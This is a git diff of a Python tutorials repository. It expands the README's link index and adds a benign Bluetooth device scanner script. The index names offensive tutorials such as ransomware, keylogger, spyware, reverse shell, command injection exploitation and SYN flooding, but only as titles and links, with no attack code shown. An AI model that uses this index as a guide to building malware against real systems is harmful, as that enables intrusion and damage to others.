diff --git a/README.md b/README.md index d44535cf..ddf5f25d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,13 @@ -![alt text](images/python_logo.ico) +

+ + CodingFleet Code Generator + + CodingFleet Code Converter + +

+ + + # Python Code Tutorials This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website. ## List of Tutorials @@ -16,6 +25,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner)) - [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood)) - [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/)) + - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer)) + - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis)) + - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets)) - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger)) - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner)) - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell)) @@ -40,6 +52,36 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python). ([code](ethical-hacking/ransomware)) - [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python). ([code](ethical-hacking/dns-enumeration)) - [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses)) + - [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker)) + - [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker)) + - [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser)) + - [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python). ([code](ethical-hacking/password-manager)) + - [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python). ([code](ethical-hacking/listing-wifi-networks)) + - [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python). ([code](ethical-hacking/verify-file-integrity)) + - [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python). ([code](ethical-hacking/zip-file-locker)) + - [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python). [(code)](ethical-hacking/pdf-locker) + - [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python). ([code](ethical-hacking/bruteforce-wordlist-generator)) + - [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python). ([code](ethical-hacking/implement-affine-cipher)) + - [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python). ([code](ethical-hacking/crack-affine-cipher)) + - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher)) + - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator)) + - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner)) + - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb)) + - [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python). ([code](ethical-hacking/implement-2fa)) + - [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python). ([code](ethical-hacking/username-finder)) + - [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows)) + - [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover)) + - [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor)) + - [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware)) + - [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection)) + - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware)) + - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware)) + - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength)) + - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup)) + - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner)) + - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -58,6 +100,11 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification)) - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition)) - [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python). ([code](machine-learning/nlp/tokenization-stemming-lemmatization)) + - [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python). ([code](machine-learning/nlp/semantic-textual-similarity)) + - [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python). ([code](machine-learning/nlp/bleu-score)) + - [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score)) + - [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score)) + - [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) @@ -79,6 +126,17 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Age and Gender Detection using OpenCV in Python](https://www.thepythoncode.com/article/gender-and-age-detection-using-opencv-python). ([code](machine-learning/age-and-gender-detection)) - [Satellite Image Classification using TensorFlow in Python](https://www.thepythoncode.com/article/satellite-image-classification-using-tensorflow-python). ([code](machine-learning/satellite-image-classification)) - [How to Perform Image Segmentation using Transformers in Python](https://www.thepythoncode.com/article/image-segmentation-using-huggingface-transformers-python). ([code](machine-learning/image-segmentation-transformers)) + - [How to Fine Tune ViT for Image Classification using Huggingface Transformers in Python](https://www.thepythoncode.com/article/finetune-vit-for-image-classification-using-transformers-in-python). ([code](machine-learning/finetuning-vit-image-classification)) + - [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python). ([code](machine-learning/stable-diffusion-models)) + - [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python). ([code](machine-learning/depth2image-stable-diffusion)) + - [Real-time Object Tracking with OpenCV and YOLOv8 in Python](https://www.thepythoncode.com/article/real-time-object-tracking-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Object-Tracking-with-DeepSORT-and-YOLOv8)) + - [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface). ([code](machine-learning/control-image-generation-with-controlnet)) + - [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface). ([code](machine-learning/edit-images-instruct-pix2pix)) + - [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface). ([code](machine-learning/stable-diffusion-upscaler)) + - [Real-Time Vehicle Detection, Tracking and Counting in Python](https://thepythoncode.com/article/real-time-vehicle-tracking-and-counting-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Vehicle-Detection-Tracking-and-Counting-in-Python/)) + - [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python). ([code](machine-learning/cartoonify-images)) + - [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python). ([code](machine-learning/facial-recognition-system)) + - [Non-Maximum Suppression with OpenCV and Python](https://thepythoncode.com/article/non-maximum-suppression-using-opencv-in-python). ([code](https://github.com/Rouizi/Non-Maximum-Suppression-with-OpenCV-and-Python)) - [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition)) - [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python). ([code](machine-learning/speech-recognition)) - [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists). @@ -103,6 +161,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders)) - [Exploring the Different Types of Clustering Algorithms in Machine Learning with Python](https://www.thepythoncode.com/article/clustering-algorithms-in-machine-learning-with-python). ([code](machine-learning/clustering-algorithms)) - [Image Captioning using PyTorch and Transformers](https://www.thepythoncode.com/article/image-captioning-with-pytorch-and-transformers-in-python). ([code](machine-learning/image-captioning)) + - [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python). ([code](machine-learning/asr)) - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics) - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot)) @@ -122,13 +181,13 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game)) - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage)) - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer)) - - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve)) - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/)) - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map)) - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) + - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager)) @@ -151,6 +210,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) + - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -174,6 +234,10 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python). ([code](python-standard-library/split-string)) - [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python). ([code](python-standard-library/print-variable-name-and-value)) - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) + - [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse)) + - [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone)) + - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation)) + - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) @@ -189,6 +253,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api)) - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook)) - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector)) + - [How to Build a Twitter (X) Bot in Python](https://thepythoncode.com/article/make-a-twitter-bot-in-python). ([code](https://github.com/menard-codes/dog-fact-tweeter-bot)) - ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python) - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) @@ -229,6 +294,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python). ([code](python-for-multimedia/record-specific-window)) - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) + - [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images)) + - [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images)) + - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files)) - ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) @@ -243,15 +311,18 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python). ([code](web-programming/webbased-emailverifier)) - [How to Build a Web Assistant Using Django and OpenAI GPT-3.5 API in Python](https://www.thepythoncode.com/article/web-assistant-django-with-gpt3-api-python). ([code](web-programming/webassistant)) - [How to Make an Accounting App with Django in Python](https://www.thepythoncode.com/article/make-an-accounting-app-with-django-in-python). ([code](web-programming/accounting-app)) + - [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python). ([code](web-programming/news_project)) + - [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python). ([code](web-programming/restful-api-flask)) + - [How to Build a GraphQL API in Python](https://www.thepythoncode.com/article/build-a-graphql-api-with-fastapi-strawberry-and-postgres-python). ([code](https://github.com/menard-codes/PythonGQLArticle)) + - [How to Build a Chat App using Flask in Python](https://thepythoncode.com/article/how-to-build-a-chat-app-in-python-using-flask-and-flasksocketio). ([code](https://github.com/menard-codes/FlaskChatApp)) + - [How to Build a Full-Stack Web App in Python using FastAPI and React.js](https://thepythoncode.com/article/fullstack-notes-app-with-fastapi-and-reactjs) ([Backend](https://github.com/menard-codes/NotesAppBackend-FastAPI-React), [Frontend](https://github.com/menard-codes/NotesAppFrontend-FastAPI-React)) - ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming) - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor)) - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) - - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer)) - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app)) - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester)) - - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor)) - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/)) - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app)) @@ -261,9 +332,35 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator)) - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app)) - [How to Build a GUI Voice Recorder App in Python](https://www.thepythoncode.com/article/make-a-gui-voice-recorder-python). ([code](gui-programming/voice-recorder-app)) - - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) - [How to Build a GUI QR Code Generator and Detector Using Python](https://www.thepythoncode.com/article/make-a-qr-code-generator-and-reader-tkinter-python). ([code](gui-programming/qrcode-generator-reader-gui)) - [How to Build a GUI Dictionary App with Tkinter in Python](https://www.thepythoncode.com/article/make-a-gui-audio-dictionary-python). ([code](gui-programming/word-dictionary-with-audio)) - [How to Make a Real-Time GUI Spelling Checker in Python](https://www.thepythoncode.com/article/make-a-realtime-spelling-checker-gui-python). ([code](gui-programming/realtime-spelling-checker)) + - [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python). ([code](gui-programming/gui-language-translator)) + - [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python). ([code](gui-programming/image-editor)) + - [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python). ([code](gui-programming/crud-app-pyqt5)) + +- ### [Game Development](https://www.thepythoncode.com/topic/game-development) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) + - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) + - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) + - [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python). ([code](gui-programming/hangman-game-gui)) + - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) + - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) + - [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python). ([code](gui-programming/tetris-game)) + - [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python). ([code](gui-programming/tictactoe-game)) + - [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python). ([code](gui-programming/checkers-game)) + - [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python). ([code](gui-programming/snake-game)) + - [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python). ([code](gui-programming/slide-puzzle)) + - [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python). ([code](gui-programming/maze-game)) + - [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python). ([code](gui-programming/platformer-game)) + - [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python). ([code](gui-programming/flappy-bird-game)) + - [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python). ([code](gui-programming/pong-game)) + - [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game)) + - [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game)) + - [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game)) + - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games)) + - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame)) + For any feedback, please consider pulling requests. diff --git a/ethical-hacking/bluetooth-scanner/README.md b/ethical-hacking/bluetooth-scanner/README.md new file mode 100644 index 00000000..c8b19deb --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/README.md @@ -0,0 +1 @@ +# [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python) \ No newline at end of file diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py new file mode 100644 index 00000000..2945c767 --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py @@ -0,0 +1,85 @@ +import bluetooth + +# Major and Minor Device Class definitions based on Bluetooth specifications +MAJOR_CLASSES = { + 0: "Miscellaneous", + 1: "Computer", + 2: "Phone", + 3: "LAN/Network Access", + 4: "Audio/Video", + 5: "Peripheral", + 6: "Imaging", + 7: "Wearable", + 8: "Toy", + 9: "Health", + 10: "Uncategorized" +} + +MINOR_CLASSES = { + # Computer Major Class + (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation", + (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA", + (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer", + # Phone Major Class + (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless", + (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway", + (2, 5): "Common ISDN Access", + # LAN/Network Access Major Class + (3, 0): "Fully available", (3, 1): "1% to 17% utilized", + (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized", + (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized", + (3, 6): "83% to 99% utilized", (3, 7): "No service available", + # Audio/Video Major Class + (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device", + (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio", + (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device", + (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder", + (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker", + (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy", + # Peripheral Major Class + (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard", + (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device", + # Imaging Major Class + (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer", + # Wearable Major Class + (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket", + (7, 3): "Helmet", (7, 4): "Glasses", + # Toy Major Class + (8, 0): "Robot", (8, 1): "Vehicle", + (8, 2): "Doll / Action figure", + (8, 3): "Controller", (8, 4): "Game", + # Health Major Class + (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor", + (9, 2): "Thermometer", (9, 3): "Weighing Scale", + (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter", + (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display", + (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer", + (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor", + (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis", + # More specific definitions can be added if needed +} + +def parse_device_class(device_class): + major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits) + minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits) + major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class") + minor_class_key = (major, minor) + minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class") + return major_class_name, minor_class_name + + +def scan_bluetooth_devices(): + try: + discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True) + print('[!] Scanning for Bluetooth devices...') + print(f"[!] Found {len(discovered_devices)} Devices") + for addr, name, device_class in discovered_devices: + major_class, minor_class = parse_device_class(device_class) + print(f"[+] Device Name: {name}") + print(f" Address: {addr}") + print(f" Device Class: {device_class} ({major_class}, {minor_class})") + except Exception as e: + print(f"[ERROR] An error occurred: {e}") + +if __name__ == "__main__": + scan_bluetooth_devices() diff --git a/ethical-hacking/bluetooth-scanner/requirements.txt b/ethical-hacking/bluetooth-scanner/requirements.txt new file mode 100644 index 00000000..0c35f5ce --- /dev/null +++ 